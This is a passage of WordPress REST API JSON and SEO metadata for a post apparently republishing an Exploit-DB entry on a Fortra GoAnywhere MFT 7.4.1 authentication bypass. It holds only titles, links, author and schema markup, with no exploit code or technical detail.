Bypass\",\"datePublished\":\"2025-05-29T05:35:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6086\"},\"wordCount\":1621,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=6086#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6086\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6086\",\"name\":\"Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-29T05:35:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6086#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=6086\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6086#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=6086","og_locale":"en_US","og_type":"article","og_title":"Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass Exploit ID EDB-ID:52308 Type exploitdb Published 2025-05-29T00:00:00 Modified 2025-05-29T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=6086","og_site_name":"zero redgem","article_published_time":"2025-05-29T05:35:41+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=6086#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=6086"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass","datePublished":"2025-05-29T05:35:41+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=6086"},"wordCount":1621,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","exploitdb","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=6086#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=6086","url":"https:\/\/zero.redgem.net\/?p=6086","name":"Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-29T05:35:41+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=6086#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=6086"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=6086#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/6086","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6086"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/6086\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6086"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6086"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6086"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}